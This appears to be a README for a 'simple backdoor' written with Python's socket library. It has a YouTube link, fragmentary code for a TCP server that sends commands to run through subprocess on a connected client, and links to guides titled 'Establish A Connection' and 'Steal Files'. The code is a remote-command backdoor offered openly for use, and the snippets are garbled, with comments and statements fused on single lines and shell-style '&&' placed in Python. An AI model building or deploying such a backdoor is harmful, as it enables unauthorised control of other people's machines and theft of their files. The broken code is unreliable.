Simple backdoor using lib python's socket
YouTube Video: https://youtu.be/pE5qPvMZ-DM
from socket import *
# for connectionimport subprocess
# for cmd command
sock = socket(AF_INET, SOCK_STREAM)
# set TCP socketport = 12345
# port of serversock.bind(('', port)) && sock.listen(1)
# set serverconn, addr = sock.accept()
# conn = connection && addr = (client)addressconn.send(command.encode())
# send in array bytesconn.recv(1024).decode("utf-8")
#receive and convert in string
CMD = subprocess.Popen(command, ...)
# set subprocess for send CMD command
Guides | Links |
---|---|
Establish A Connection | Link |
Steal Files | Link |